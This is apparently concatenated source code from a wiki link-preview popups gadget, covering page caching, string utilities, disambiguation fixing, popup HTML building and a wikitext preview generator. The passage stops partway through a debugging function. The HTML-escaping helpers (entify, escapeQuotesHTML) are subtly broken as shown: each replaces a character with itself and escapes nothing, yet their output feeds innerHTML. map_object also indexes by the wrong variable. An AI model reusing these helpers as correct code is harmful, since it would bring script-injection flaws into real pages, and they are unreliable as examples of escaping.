// Wiki-specific downloading
//
// Schematic for a getWiki call
//
// getPageWithCaching
// |
// false | true
// getPage<-[findPictureInCache]->-onComplete(a fake download)
// \.
// (async)->addPageToCache(download)->-onComplete(download)
// check cache to see if page exists
function getPageWithCaching(url, onComplete, owner) {
log('getPageWithCaching, url=' + url);
const i = findInPageCache(url);
let d;
if (i > -1) {
d = fakeDownload(
url,
owner.idNumber,
onComplete,
pg.cache.pages[i].data,
pg.cache.pages[i].lastModified,
owner
);
} else {
d = getPage(url, onComplete, owner);
if (d && owner && owner.addDownload) {
owner.addDownload(d);
d.owner = owner;
}
}
}
function getPage(url, onComplete, owner) {
log('getPage');
const callback = function (d) {
if (!d.aborted) {
addPageToCache(d);
onComplete(d);
}
};
return startDownload(url, owner.idNumber, callback);
}
function findInPageCache(url) {
for (let i = 0; i < pg.cache.pages.length; ++i) {
if (url == pg.cache.pages[i].url) {
return i;
}
}
return -1;
}
function addPageToCache(download) {
log('addPageToCache ' + download.url);
const page = {
url: download.url,
data: download.data,
lastModified: download.lastModified,
};
return pg.cache.pages.push(page);
}
// ENDFILE: getpage.js
// STARTFILE: parensplit.js
//////////////////////////////////////////////////
// parenSplit
// String.prototype.parenSplit should do what ECMAscript says String.prototype.split does,
// interspersing paren matches (regex capturing groups) between the split elements.
// i.e. 'abc'.split(/(b)/)) should return ['a','b','c'], not ['a','c']
if (String('abc'.split(/(b)/)) != 'a,b,c') {
// broken String.split, e.g. konq, IE < 10
String.prototype.parenSplit = function (re) {
re = nonGlobalRegex(re);
let s = this;
let m = re.exec(s);
let ret = [];
while (m && s) {
// without the following loop, we have
// 'ab'.parenSplit(/a|(b)/) != 'ab'.split(/a|(b)/)
for (let i = 0; i < m.length; ++i) {
if (typeof m[i] == 'undefined') {
m[i] = '';
}
}
ret.push(s.substring(0, m.index));
ret = ret.concat(m.slice(1));
s = s.substring(m.index + m[0].length);
m = re.exec(s);
}
ret.push(s);
return ret;
};
} else {
String.prototype.parenSplit = function (re) {
return this.split(re);
};
String.prototype.parenSplit.isNative = true;
}
function nonGlobalRegex(re) {
const s = re.toString();
let flags = '';
for (var j = s.length; s.charAt(j) != '/'; --j) {
if (s.charAt(j) != 'g') {
flags += s.charAt(j);
}
}
const t = s.substring(1, j);
return RegExp(t, flags);
}
// ENDFILE: parensplit.js
// STARTFILE: tools.js
// IE madness with encoding
// ========================
//
// suppose throughout that the page is in utf8, like wikipedia
//
// if a is an anchor DOM element and a.href should consist of
//
// http://host.name.here/wiki/foo?bar=baz
//
// then IE gives foo as "latin1-encoded" utf8; we have foo = decode_utf8(decodeURI(foo_ie))
// but IE gives bar=baz correctly as plain utf8
//
// ---------------------------------
//
// IE's xmlhttp doesn't understand utf8 urls. Have to use encodeURI here.
//
// ---------------------------------
//
// summat else
// Source: http://aktuell.de.selfhtml.org/artikel/javascript/utf8b64/utf8.htm
function getJsObj(json) {
try {
const json_ret = JSON.parse(json);
if (json_ret.warnings) {
for (let w = 0; w < json_ret.warnings.length; w++) {
if (json_ret.warnings[w]['*']) {
log(json_ret.warnings[w]['*']);
} else {
log(json_ret.warnings[w].warnings);
}
}
} else if (json_ret.error) {
errlog(json_ret.error.code + ': ' + json_ret.error.info);
}
return json_ret;
} catch (someError) {
errlog('Something went wrong with getJsObj, json=' + json);
return 1;
}
}
function anyChild(obj) {
for (const p in obj) {
return obj[p];
}
return null;
}
function upcaseFirst(str) {
if (typeof str != typeof '' || str === '') {
return '';
}
return str.charAt(0).toUpperCase() + str.substring(1);
}
function findInArray(arr, foo) {
if (!arr || !arr.length) {
return -1;
}
const len = arr.length;
for (let i = 0; i < len; ++i) {
if (arr[i] == foo) {
return i;
}
}
return -1;
}
/* eslint-disable no-unused-vars */
function nextOne(array, value) {
// NB if the array has two consecutive entries equal
// then this will loop on successive calls
const i = findInArray(array, value);
if (i < 0) {
return null;
}
return array[i + 1];
}
/* eslint-enable no-unused-vars */
function literalizeRegex(str) {
return mw.util.escapeRegExp(str);
}
String.prototype.entify = function () {
//var shy='­';
return this.split('&')
.join('&')
.split('<')
.join('<')
.split('>')
.join('>' /*+shy*/)
.split('"')
.join('"');
};
// Array filter function
function removeNulls(val) {
return val !== null;
}
function joinPath(list) {
return list.filter(removeNulls).join('/');
}
function simplePrintf(str, subs) {
if (!str || !subs) {
return str;
}
const ret = [];
const s = str.parenSplit(/(%s|\$[0-9]+)/);
let i = 0;
do {
ret.push(s.shift());
if (!s.length) {
break;
}
const cmd = s.shift();
if (cmd == '%s') {
if (i < subs.length) {
ret.push(subs[i]);
} else {
ret.push(cmd);
}
++i;
} else {
const j = parseInt(cmd.replace('$', ''), 10) - 1;
if (j > -1 && j < subs.length) {
ret.push(subs[j]);
} else {
ret.push(cmd);
}
}
} while (s.length > 0);
return ret.join('');
}
/* eslint-disable no-unused-vars */
function isString(x) {
return typeof x === 'string' || x instanceof String;
}
function isNumber(x) {
return typeof x === 'number' || x instanceof Number;
}
function isRegExp(x) {
return x instanceof RegExp;
}
function isArray(x) {
return x instanceof Array;
}
function isObject(x) {
return x instanceof Object;
}
function isFunction(x) {
return !isRegExp(x) && (typeof x === 'function' || x instanceof Function);
}
/* eslint-enable no-unused-vars */
function repeatString(s, mult) {
let ret = '';
for (let i = 0; i < mult; ++i) {
ret += s;
}
return ret;
}
function zeroFill(s, min) {
min = min || 2;
const t = s.toString();
return repeatString('0', min - t.length) + t;
}
function map(f, o) {
if (isArray(o)) {
return map_array(f, o);
}
return map_object(f, o);
}
function map_array(f, o) {
const ret = [];
for (let i = 0; i < o.length; ++i) {
ret.push(f(o[i]));
}
return ret;
}
function map_object(f, o) {
const ret = {};
for (const i in o) {
ret[o] = f(o[i]);
}
return ret;
}
pg.escapeQuotesHTML = function (text) {
return text
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>');
};
pg.unescapeQuotesHTML = function (html) {
// From https://stackoverflow.com/a/7394787
// This seems to be implemented correctly on all major browsers now, so we
// don't have to make our own function.
const txt = document.createElement('textarea');
txt.innerHTML = html;
return txt.value;
};
// ENDFILE: tools.js
// STARTFILE: dab.js
//////////////////////////////////////////////////
// Dab-fixing code
//
function retargetDab(newTarget, oldTarget, friendlyCurrentArticleName, titleToEdit) {
log('retargetDab: newTarget=' + newTarget + ' oldTarget=' + oldTarget);
return changeLinkTargetLink({
newTarget: newTarget,
text: newTarget.split(' ').join(' '),
hint: tprintf('disambigHint', [newTarget]),
summary: simplePrintf(getValueOf('popupFixDabsSummary'), [
friendlyCurrentArticleName,
newTarget,
]),
clickButton: getValueOf('popupDabsAutoClick'),
minor: true,
oldTarget: oldTarget,
watch: getValueOf('popupWatchDisambiggedPages'),
title: titleToEdit,
});
}
function listLinks(wikitext, oldTarget, titleToEdit) {
// mediawiki strips trailing spaces, so we do the same
// testcase: https://en.wikipedia.org/w/index.php?title=Radial&oldid=97365633
const reg = /\[\[([^|]*?) *(\||\]\])/gi;
let ret = [];
const splitted = wikitext.parenSplit(reg);
// ^[a-z]+ should match interwiki links, hopefully (case-insensitive)
// and ^[a-z]* should match those and [[:Category...]] style links too
const omitRegex = /^[a-z]*:|^[Ss]pecial:|^[Ii]mage|^[Cc]ategory/;
const friendlyCurrentArticleName = oldTarget.toString();
const wikPos = getValueOf('popupDabWiktionary');
for (let i = 1; i < splitted.length; i = i + 3) {
if (
typeof splitted[i] == typeof 'string' &&
splitted[i].length > 0 &&
!omitRegex.test(splitted[i])
) {
ret.push(retargetDab(splitted[i], oldTarget, friendlyCurrentArticleName, titleToEdit));
} /* if */
} /* for loop */
ret = rmDupesFromSortedList(ret.sort());
if (wikPos) {
const wikTarget =
'wiktionary:' +
friendlyCurrentArticleName.replace(/^(.+)\s+[(][^)]+[)]\s*$/, '$1');
let meth;
if (wikPos.toLowerCase() == 'first') {
meth = 'unshift';
} else {
meth = 'push';
}
ret[meth](retargetDab(wikTarget, oldTarget, friendlyCurrentArticleName, titleToEdit));
}
ret.push(
changeLinkTargetLink({
newTarget: null,
text: popupString('remove this link').split(' ').join(' '),
hint: popupString('remove all links to this disambig page from this article'),
clickButton: getValueOf('popupDabsAutoClick'),
oldTarget: oldTarget,
summary: simplePrintf(getValueOf('popupRmDabLinkSummary'), [friendlyCurrentArticleName]),
watch: getValueOf('popupWatchDisambiggedPages'),
title: titleToEdit,
})
);
return ret;
}
function rmDupesFromSortedList(list) {
const ret = [];
for (let i = 0; i < list.length; ++i) {
if (ret.length === 0 || list[i] != ret[ret.length - 1]) {
ret.push(list[i]);
}
}
return ret;
}
function makeFixDab(data, navpop) {
// grab title from parent popup if there is one; default exists in changeLinkTargetLink
const titleToEdit = navpop.parentPopup && navpop.parentPopup.article.toString();
const list = listLinks(data, navpop.originalArticle, titleToEdit);
if (list.length === 0) {
log('listLinks returned empty list');
return null;
}
let html = '<hr />' + popupString('Click to disambiguate this link to:') + '<br>';
html += list.join(', ');
return html;
}
function makeFixDabs(wikiText, navpop) {
if (
getValueOf('popupFixDabs') &&
isDisambig(wikiText, navpop.article) &&
Title.fromURL(location.href).namespaceId() != pg.nsSpecialId &&
navpop.article.talkPage()
) {
setPopupHTML(makeFixDab(wikiText, navpop), 'popupFixDab', navpop.idNumber);
}
}
function popupRedlinkHTML(article) {
return changeLinkTargetLink({
newTarget: null,
text: popupString('remove this link').split(' ').join(' '),
hint: popupString('remove all links to this page from this article'),
clickButton: getValueOf('popupRedlinkAutoClick'),
oldTarget: article.toString(),
summary: simplePrintf(getValueOf('popupRedlinkSummary'), [article.toString()]),
});
}
// ENDFILE: dab.js
// STARTFILE: htmloutput.js
// this has to use a timer loop as we don't know if the DOM element exists when we want to set the text
function setPopupHTML(str, elementId, popupId, onSuccess, append) {
if (typeof popupId === 'undefined') {
//console.error('popupId is not defined in setPopupHTML, html='+str.substring(0,100));
popupId = pg.idNumber;
}
const popupElement = document.getElementById(elementId + popupId);
if (popupElement) {
if (!append) {
popupElement.innerHTML = '';
}
if (isString(str)) {
popupElement.innerHTML += str;
} else {
popupElement.appendChild(str);
}
if (onSuccess) {
onSuccess();
}
setTimeout(checkPopupPosition, 100);
return true;
} else {
// call this function again in a little while...
setTimeout(() => {
setPopupHTML(str, elementId, popupId, onSuccess);
}, 600);
}
return null;
}
function setPopupTrailer(str, id) {
return setPopupHTML(str, 'popupData', id);
}
// args.navpopup is mandatory
// optional: args.redir, args.redirTarget
// FIXME: ye gods, this is ugly stuff
function fillEmptySpans(args) {
// if redir is present and true then redirTarget is mandatory
let redir = true;
let rcid;
if (typeof args != 'object' || typeof args.redir == 'undefined' || !args.redir) {
redir = false;
}
const a = args.navpopup.parentAnchor;
let article,
hint = null,
oldid = null,
params = {};
if (redir && typeof args.redirTarget == typeof {}) {
article = args.redirTarget;
//hint=article.hintValue();
} else {
article = new Title().fromAnchor(a);
hint = a.originalTitle || article.hintValue();
params = parseParams(a.href);
oldid = getValueOf('popupHistoricalLinks') ? params.oldid : null;
rcid = params.rcid;
}
const x = {
article: article,
hint: hint,
oldid: oldid,
rcid: rcid,
navpop: args.navpopup,
params: params,
};
const structure = pg.structures[getValueOf('popupStructure')];
if (typeof structure != 'object') {
setPopupHTML(
'popupError',
'Unknown structure (this should never happen): ' + pg.option.popupStructure,
args.navpopup.idNumber
);
return;
}
const spans = flatten(pg.misc.layout);
const numspans = spans.length;
const redirs = pg.misc.redirSpans;
for (let i = 0; i < numspans; ++i) {
const found = redirs && redirs.indexOf(spans[i]) !== -1;
//log('redir='+redir+', found='+found+', spans[i]='+spans[i]);
if ((found && !redir) || (!found && redir)) {
//log('skipping this set of the loop');
continue;
}
const structurefn = structure[spans[i]];
if (structurefn === undefined) {
// nothing to do for this structure part
continue;
}
let setfn = setPopupHTML;
if (
getValueOf('popupActiveNavlinks') &&
(spans[i].indexOf('popupTopLinks') === 0 || spans[i].indexOf('popupRedirTopLinks') === 0)
) {
setfn = setPopupTipsAndHTML;
}
switch (typeof structurefn) {
case 'function':
log(
'running ' +
spans[i] +
'({article:' +
x.article +
', hint:' +
x.hint +
', oldid: ' +
x.oldid +
'})'
);
setfn(structurefn(x), spans[i], args.navpopup.idNumber);
break;
case 'string':
setfn(structurefn, spans[i], args.navpopup.idNumber);
break;
default:
errlog('unknown thing with label ' + spans[i] + ' (span index was ' + i + ')');
break;
}
}
}
// flatten an array
function flatten(list, start) {
const ret = [];
if (typeof start == 'undefined') {
start = 0;
}
for (let i = start; i < list.length; ++i) {
if (typeof list[i] == typeof []) {
return ret.concat(flatten(list[i])).concat(flatten(list, i + 1));
} else {
ret.push(list[i]);
}
}
return ret;
}
// Generate html for whole popup
function popupHTML(a) {
getValueOf('popupStructure');
const structure = pg.structures[pg.option.popupStructure];
if (typeof structure != 'object') {
//return 'Unknown structure: '+pg.option.popupStructure;
// override user choice
pg.option.popupStructure = pg.optionDefault.popupStructure;
return popupHTML(a);
}
if (typeof structure.popupLayout != 'function') {
return 'Bad layout';
}
pg.misc.layout = structure.popupLayout();
if (typeof structure.popupRedirSpans === 'function') {
pg.misc.redirSpans = structure.popupRedirSpans();
} else {
pg.misc.redirSpans = [];
}
return makeEmptySpans(pg.misc.layout, a.navpopup);
}
function makeEmptySpans(list, navpop) {
let ret = '';
for (let i = 0; i < list.length; ++i) {
if (typeof list[i] == typeof '') {
ret += emptySpanHTML(list[i], navpop.idNumber, 'div');
} else if (typeof list[i] == typeof [] && list[i].length > 0) {
ret = ret.parenSplit(/(<\/[^>]*?>$)/).join(makeEmptySpans(list[i], navpop));
} else if (typeof list[i] == typeof {} && list[i].nodeType) {
ret += emptySpanHTML(list[i].name, navpop.idNumber, list[i].nodeType);
}
}
return ret;
}
function emptySpanHTML(name, id, tag, classname) {
tag = tag || 'span';
if (!classname) {
classname = emptySpanHTML.classAliases[name];
}
classname = classname || name;
if (name == getValueOf('popupDragHandle')) {
classname += ' popupDragHandle';
}
return simplePrintf('<%s id="%s" class="%s"></%s>', [tag, name + id, classname, tag]);
}
emptySpanHTML.classAliases = { popupSecondPreview: 'popupPreview' };
// generate html for popup image
// <a id="popupImageLinkn"><img id="popupImagen">
// where n=idNumber
function imageHTML(article, idNumber) {
return simplePrintf(
'<a id="popupImageLink$1">' +
'<img align="right" valign="top" id="popupImg$1" style="display: none;"></img>' +
'</a>',
[idNumber]
);
}
function popTipsSoonFn(id, when, popData) {
if (!when) {
when = 250;
}
const popTips = function () {
setupTooltips(document.getElementById(id), false, true, popData);
};
return function () {
setTimeout(popTips, when, popData);
};
}
function setPopupTipsAndHTML(html, divname, idnumber, popData) {
setPopupHTML(
html,
divname,
idnumber,
getValueOf('popupSubpopups') ? popTipsSoonFn(divname + idnumber, null, popData) : null
);
}
// ENDFILE: htmloutput.js
// STARTFILE: mouseout.js
//////////////////////////////////////////////////
// fuzzy checks
function fuzzyCursorOffMenus(x, y, fuzz, parent) {
if (!parent) {
return null;
}
const uls = parent.getElementsByTagName('ul');
for (let i = 0; i < uls.length; ++i) {
if (uls[i].className == 'popup_menu') {
if (uls[i].offsetWidth > 0) {
return false;
}
} // else {document.title+='.';}
}
return true;
}
function checkPopupPosition() {
// stop the popup running off the right of the screen
// FIXME avoid pg.current.link
if (pg.current.link && pg.current.link.navpopup) {
pg.current.link.navpopup.limitHorizontalPosition();
}
}
function mouseOutWikiLink() {
//console ('mouseOutWikiLink');
const a = this;
removeModifierKeyHandler(a);
if (a.navpopup === null || typeof a.navpopup === 'undefined') {
return;
}
if (!a.navpopup.isVisible()) {
a.navpopup.banish();
return;
}
restoreTitle(a);
Navpopup.tracker.addHook(posCheckerHook(a.navpopup));
}
function posCheckerHook(navpop) {
return function () {
if (!navpop.isVisible()) {
return true; /* remove this hook */
}
if (Navpopup.tracker.dirty) {
return false;
}
const x = Navpopup.tracker.x,
y = Navpopup.tracker.y;
const mouseOverNavpop =
navpop.isWithin(x, y, navpop.fuzz, navpop.mainDiv) ||
!fuzzyCursorOffMenus(x, y, navpop.fuzz, navpop.mainDiv);
// FIXME it'd be prettier to do this internal to the Navpopup objects
let t = getValueOf('popupHideDelay');
if (t) {
t = t * 1000;
}
if (!t) {
if (!mouseOverNavpop) {
if (navpop.parentAnchor) {
restoreTitle(navpop.parentAnchor);
}
navpop.banish();
return true; /* remove this hook */
}
return false;
}
// we have a hide delay set
const d = Date.now();
if (!navpop.mouseLeavingTime) {
navpop.mouseLeavingTime = d;
return false;
}
if (mouseOverNavpop) {
navpop.mouseLeavingTime = null;
return false;
}
if (d - navpop.mouseLeavingTime > t) {
navpop.mouseLeavingTime = null;
navpop.banish();
return true; /* remove this hook */
}
return false;
};
}
function runStopPopupTimer(navpop) {
// at this point, we should have left the link but remain within the popup
// so we call this function again until we leave the popup.
if (!navpop.stopPopupTimer) {
navpop.stopPopupTimer = setInterval(posCheckerHook(navpop), 500);
navpop.addHook(
() => {
clearInterval(navpop.stopPopupTimer);
},
'hide',
'before'
);
}
}
// ENDFILE: mouseout.js
// STARTFILE: previewmaker.js
/**
* @file
* Defines the {@link Previewmaker} object, which generates short previews from wiki markup.
*/
/**
* Creates a new Previewmaker
*
* @constructor
* @class The Previewmaker class. Use an instance of this to generate short previews from Wikitext.
* @param {string} wikiText The Wikitext source of the page we wish to preview.
* @param {string} baseUrl The url we should prepend when creating relative urls.
* @param {Navpopup} owner The navpop associated to this preview generator
*/
function Previewmaker(wikiText, baseUrl, owner) {
/** The wikitext which is manipulated to generate the preview. */
this.originalData = wikiText;
this.baseUrl = baseUrl;
this.owner = owner;
this.maxCharacters = getValueOf('popupMaxPreviewCharacters');
this.maxSentences = getValueOf('popupMaxPreviewSentences');
this.setData();
}
Previewmaker.prototype.setData = function () {
const maxSize = Math.max(10000, 2 * this.maxCharacters);
this.data = this.originalData.substring(0, maxSize);
};
/**
* Remove HTML comments
*
* @private
*/
Previewmaker.prototype.killComments = function () {
// this also kills one trailing newline, eg [[diamyo]]
this.data = this.data.replace(
/^<!--[^$]*?-->\n|\n<!--[^$]*?-->(?=\n)|<!--[^$]*?-->/g,
''
);
};
/**
* @private
*/
Previewmaker.prototype.killDivs = function () {
// say goodbye, divs (can be nested, so use * not *?)
this.data = this.data.replace(/< *div[^>]* *>[\s\S]*?< *\/ *div *>/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.killGalleries = function () {
this.data = this.data.replace(/< *gallery[^>]* *>[\s\S]*?< *\/ *gallery *>/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.kill = function (opening, closing, subopening, subclosing, repl) {
let oldk = this.data;
let k = this.killStuff(this.data, opening, closing, subopening, subclosing, repl);
while (k.length < oldk.length) {
oldk = k;
k = this.killStuff(k, opening, closing, subopening, subclosing, repl);
}
this.data = k;
};
/**
* @private
*/
Previewmaker.prototype.killStuff = function (
txt,
opening,
closing,
subopening,
subclosing,
repl
) {
const op = this.makeRegexp(opening);
const cl = this.makeRegexp(closing, '^');
const sb = subopening ? this.makeRegexp(subopening, '^') : null;
const sc = subclosing ? this.makeRegexp(subclosing, '^') : cl;
if (!op || !cl) {
alert('Navigation Popups error: op or cl is null! something is wrong.');
return;
}
if (!op.test(txt)) {
return txt;
}
let ret = '';
const opResult = op.exec(txt);
ret = txt.substring(0, opResult.index);
txt = txt.substring(opResult.index + opResult[0].length);
let depth = 1;
while (txt.length > 0) {
let removal = 0;
if (depth == 1 && cl.test(txt)) {
depth--;
removal = cl.exec(txt)[0].length;
} else if (depth > 1 && sc.test(txt)) {
depth--;
removal = sc.exec(txt)[0].length;
} else if (sb && sb.test(txt)) {
depth++;
removal = sb.exec(txt)[0].length;
}
if (!removal) {
removal = 1;
}
txt = txt.substring(removal);
if (depth === 0) {
break;
}
}
return ret + (repl || '') + txt;
};
/**
* @private
*/
Previewmaker.prototype.makeRegexp = function (x, prefix, suffix) {
prefix = prefix || '';
suffix = suffix || '';
let reStr = '';
let flags = '';
if (isString(x)) {
reStr = prefix + literalizeRegex(x) + suffix;
} else if (isRegExp(x)) {
let s = x.toString().substring(1);
const sp = s.split('/');
flags = sp[sp.length - 1];
sp[sp.length - 1] = '';
s = sp.join('/');
s = s.substring(0, s.length - 1);
reStr = prefix + s + suffix;
} else {
log('makeRegexp failed');
}
log('makeRegexp: got reStr=' + reStr + ', flags=' + flags);
return RegExp(reStr, flags);
};
/**
* @private
*/
Previewmaker.prototype.killBoxTemplates = function () {
// taxobox removal... in fact, there's a saudiprincebox_begin, so let's be more general
// also, have float_begin, ... float_end
this.kill(/[{][{][^{}\s|]*?(float|box)[_ ](begin|start)/i, /[}][}]\s*/, '{{');
// infoboxes etc
// from [[User:Zyxw/popups.js]]: kill frames too
this.kill(/[{][{][^{}\s|]*?(infobox|elementbox|frame)[_ ]/i, /[}][}]\s*/, '{{');
};
/**
* @private
*/
Previewmaker.prototype.killTemplates = function () {
this.kill('{{', '}}', '{', '}', ' ');
};
/**
* @private
*/
Previewmaker.prototype.killTables = function () {
// tables are bad, too
// this can be slow, but it's an inprovement over a browser hang
// torture test: [[Comparison_of_Intel_Central_Processing_Units]]
this.kill('{|', /[|]}\s*/, '{|');
this.kill(/<table.*?>/i, /<\/table.*?>/i, /<table.*?>/i);
// remove lines starting with a pipe for the hell of it (?)
this.data = this.data.replace(/^[|].*$/mg, '');
};
/**
* @private
*/
Previewmaker.prototype.killImages = function () {
const forbiddenNamespaceAliases = [];
$.each(mw.config.get('wgNamespaceIds'), (_localizedNamespaceLc, _namespaceId) => {
if (_namespaceId != pg.nsImageId && _namespaceId != pg.nsCategoryId) {
return;
}
forbiddenNamespaceAliases.push(_localizedNamespaceLc.split(' ').join('[ _]')); //todo: escape regexp fragments!
});
// images and categories are a nono
this.kill(
RegExp('[[][[]\\s*(' + forbiddenNamespaceAliases.join('|') + ')\\s*:', 'i'),
/\]\]\s*/,
'[',
']'
);
};
/**
* @private
*/
Previewmaker.prototype.killHTML = function () {
// kill <ref ...>...</ref>
this.kill(/<ref\b[^/>]*?>/i, /<\/ref>/i);
// let's also delete entire lines starting with <. it's worth a try.
this.data = this.data.replace(/(^|\n) *<.*/g, '\n');
// and those pesky html tags, but not <nowiki> or <blockquote>
const splitted = this.data.parenSplit(/(<[\w\W]*?(?:>|$|(?=<)))/);
const len = splitted.length;
for (let i = 1; i < len; i = i + 2) {
switch (splitted[i]) {
case '<nowiki>':
case '</nowiki>':
case '<blockquote>':
case '</blockquote>':
break;
default:
splitted[i] = '';
}
}
this.data = splitted.join('');
};
/**
* @private
*/
Previewmaker.prototype.killChunks = function () {
// heuristics alert
// chunks of italic text? you crazy, man?
const italicChunkRegex = /((^|\n)\s*:*\s*''[^']([^']|'''|'[^']){20}(.|\n[^\n])*''[.!?\s]*\n)+/g;
// keep stuff separated, though, so stick in \n (fixes [[Union Jack]]?
this.data = this.data.replace(italicChunkRegex, '\n');
};
/**
* @private
*/
Previewmaker.prototype.mopup = function () {
// we simply *can't* be doing with horizontal rules right now
this.data = this.data.replace(/^-{4,}/mg, '');
// no indented lines
this.data = this.data.replace(/(^|\n) *:[^\n]*/g, '');
// replace __TOC__, __NOTOC__ and whatever else there is
// this'll probably do
this.data = this.data.replace(/^__[A-Z_]*__ *$/gmi, '');
};
/**
* @private
*/
Previewmaker.prototype.firstBit = function () {
// dont't be givin' me no subsequent paragraphs, you hear me?
/// first we "normalize" section headings, removing whitespace after, adding before
let d = this.data;
if (getValueOf('popupPreviewCutHeadings')) {
this.data = this.data.replace(/\s*(==+[^=]*==+)\s*/g, '\n\n$1 ');
/// then we want to get rid of paragraph breaks whose text ends badly
this.data = this.data.replace(/([:;]) *\n{2,}/g, '$1\n');
this.data = this.data.replace(/^[\s\n]*/, '');
const stuff = /^([^\n]|\n[^\n\s])*/.exec(this.data);
if (stuff) {
d = stuff[0];
}
if (!getValueOf('popupPreviewFirstParOnly')) {
d = this.data;
}
/// now put \n\n after sections so that bullets and numbered lists work
d = d.replace(/(==+[^=]*==+)\s*/g, '$1\n\n');
}
// Split sentences. Superfluous sentences are RIGHT OUT.
// note: exactly 1 set of parens here needed to make the slice work
d = d.parenSplit(/([!?.]+["']*\s)/g);
// leading space is bad, mmkay?
d[0] = d[0].replace(/^\s*/, '');
const notSentenceEnds = /([^.][a-z][.] *[a-z]|etc|sic|Dr|Mr|Mrs|Ms|St|no|op|cit|\[[^\]]*|\s[A-Zvclm])$/i;
d = this.fixSentenceEnds(d, notSentenceEnds);
this.fullLength = d.join('').length;
let n = this.maxSentences;
let dd = this.firstSentences(d, n);
do {
dd = this.firstSentences(d, n);
--n;
} while (dd.length > this.maxCharacters && n !== 0);
this.data = dd;
};
/**
* @private
*/
Previewmaker.prototype.fixSentenceEnds = function (strs, reg) {
// take an array of strings, strs
// join strs[i] to strs[i+1] & strs[i+2] if strs[i] matches regex reg
for (let i = 0; i < strs.length - 2; ++i) {
if (reg.test(strs[i])) {
const a = [];
for (let j = 0; j < strs.length; ++j) {
if (j < i) {
a[j] = strs[j];
}
if (j == i) {
a[i] = strs[i] + strs[i + 1] + strs[i + 2];
}
if (j > i + 2) {
a[j - 2] = strs[j];
}
}
return this.fixSentenceEnds(a, reg);
}
}
return strs;
};
/**
* @private
*/
Previewmaker.prototype.firstSentences = function (strs, howmany) {
const t = strs.slice(0, 2 * howmany);
return t.join('');
};
/**
* @private
*/
Previewmaker.prototype.killBadWhitespace = function () {
// also cleans up isolated '''', eg [[Suntory Sungoliath]]
this.data = this.data.replace(/^ *'+ *$/gm, '');
};
/**
* Runs the various methods to generate the preview.
* The preview is stored in the <code>html</html> field.
*
* @private
*/
Previewmaker.prototype.makePreview = function () {
if (
this.owner.article.namespaceId() != pg.nsTemplateId &&
this.owner.article.namespaceId() != pg.nsImageId
) {
this.killComments();
this.killDivs();
this.killGalleries();
this.killBoxTemplates();
if (getValueOf('popupPreviewKillTemplates')) {
this.killTemplates();
} else {
this.killMultilineTemplates();
}
this.killTables();
this.killImages();
this.killHTML();
this.killChunks();
this.mopup();
this.firstBit();
this.killBadWhitespace();
} else {
this.killHTML();
}
this.html = wiki2html(this.data, this.baseUrl); // needs livepreview
this.fixHTML();
this.stripLongTemplates();
};
/**
* @private
*/
Previewmaker.prototype.esWiki2HtmlPart = function (data) {
const reLinks = /(?:\[\[([^|\]]*)(?:\|([^|\]]*))*]]([a-z]*))/gi; //match a wikilink
reLinks.lastIndex = 0; //reset regex
let match;
let result = '';
let postfixIndex = 0;
while ((match = reLinks.exec(data))) {
//match all wikilinks
//FIXME: the way that link is built here isn't perfect. It is clickable, but popups preview won't recognize it in some cases.
result +=
pg.escapeQuotesHTML(data.substring(postfixIndex, match.index)) +
'<a href="' +
Insta.conf.paths.articles +
pg.escapeQuotesHTML(match[1]) +
'">' +
pg.escapeQuotesHTML((match[2] ? match[2] : match[1]) + match[3]) +
'</a>';
postfixIndex = reLinks.lastIndex;
}
//append the rest
result += pg.escapeQuotesHTML(data.substring(postfixIndex));
return result;
};
Previewmaker.prototype.editSummaryPreview = function () {
const reAes = /\/\* *(.*?) *\*\//g; //match the first section marker
reAes.lastIndex = 0; //reset regex
let match;
match = reAes.exec(this.data);
if (match) {
//we have a section link. Split it, process it, combine it.
const prefix = this.data.substring(0, match.index - 1);
const section = match[1];
const postfix = this.data.substring(reAes.lastIndex);
let start = "<span class='autocomment'>";
let end = '</span>';
if (prefix.length > 0) {
start = this.esWiki2HtmlPart(prefix) + ' ' + start + '- ';
}
if (postfix.length > 0) {
end = ': ' + end + this.esWiki2HtmlPart(postfix);
}
const t = new Title().fromURL(this.baseUrl);
t.anchorFromUtf(section);
const sectionLink =
Insta.conf.paths.articles +
pg.escapeQuotesHTML(t.toString(true)) +
'#' +
pg.escapeQuotesHTML(t.anchor);
return (
start + '<a href="' + sectionLink + '">→</a> ' + pg.escapeQuotesHTML(section) + end
);
}
//else there's no section link, htmlify the whole thing.
return this.esWiki2HtmlPart(this.data);
};
/** Test function for debugging preview problems one step at a time. */
/*eslint-disable */
function previewSteps(txt) {
try {
txt = txt || document.editform.wpTextbox1.value;
} catch (err) {
if (pg.cache.pages.length > 0) {
txt = pg.cache.pages[pg.cache.pages.length - 1].data;
} else {
alert('provide text or use an edit page');
}
}
txt = txt.substring(0, 10000);
var base = pg.wiki.articlebase + Title.fromURL(document.location.href).urlString();
var p = new Previewmaker(txt, base, pg.current.link.navpopup);
if (this.owner.article.namespaceId() != pg.nsTemplateId) {
p.killComments();
if (!confirm('done killComments(). Continue?\n---\n' + p.data)) {
return;
}
p.killDivs();
if (!confirm('done killDivs(). Continue?\n---\n' + p.data)) {
return;
}
p.killGalleries();
if (!confirm('done killGalleries(). Continue?\n---\n' + p.data)) {
return;
}
p.killBoxTemplates();
if (!confirm('done killBoxTemplates(). Continue?\n---\n' + p.data)) {
return;
}
if (getValueOf('popupPreviewKillTemplates')) {
p.killTemplates();
if (!confirm('done killTemplates(). Continue?\n---\n' + p.data)) {
return;
}
} else {
p.killMultilineTemplates();
if (!confirm('done killMultilineTemplates(). Continue?\n---\n' + p.data)) {
return;
}
}
p.killTables();
if (!confirm('done killTables(). Continue?\n---\n' + p.data)) {
return;
}
p.killImages();
if (!confirm('done killImages(). Continue?\n---\n' + p.data)) {
return;
}
p.killHTML();
if (!confirm('done killHTML(). Continue?\n---\n' + p.data)) {
return;
}
p.killChunks();
if (!confirm('done killChunks(). Continue?\n---\n' + p.data)) {
return;
}
p.mopup();
if (!confirm('done mopup(). Continue?\n---\n' + p.data)) {
return;
}
p.firstBit();
if (!confirm('done firstBit(). Continue?\n---\n' + p.data)) {
return;
}
p.killBadWhitespace();
if (!confirm('done killBadWhitespace(). Continue?\n---\n' + p.data)) {
return;
}
}
p.html = wiki2html(p.data, base); // needs livepreview
p.fixHTML();
if (!confirm('done fixHTML(). Continue?\n---\n' + p.html)) {
return;
}
p.stripLongTemplates();
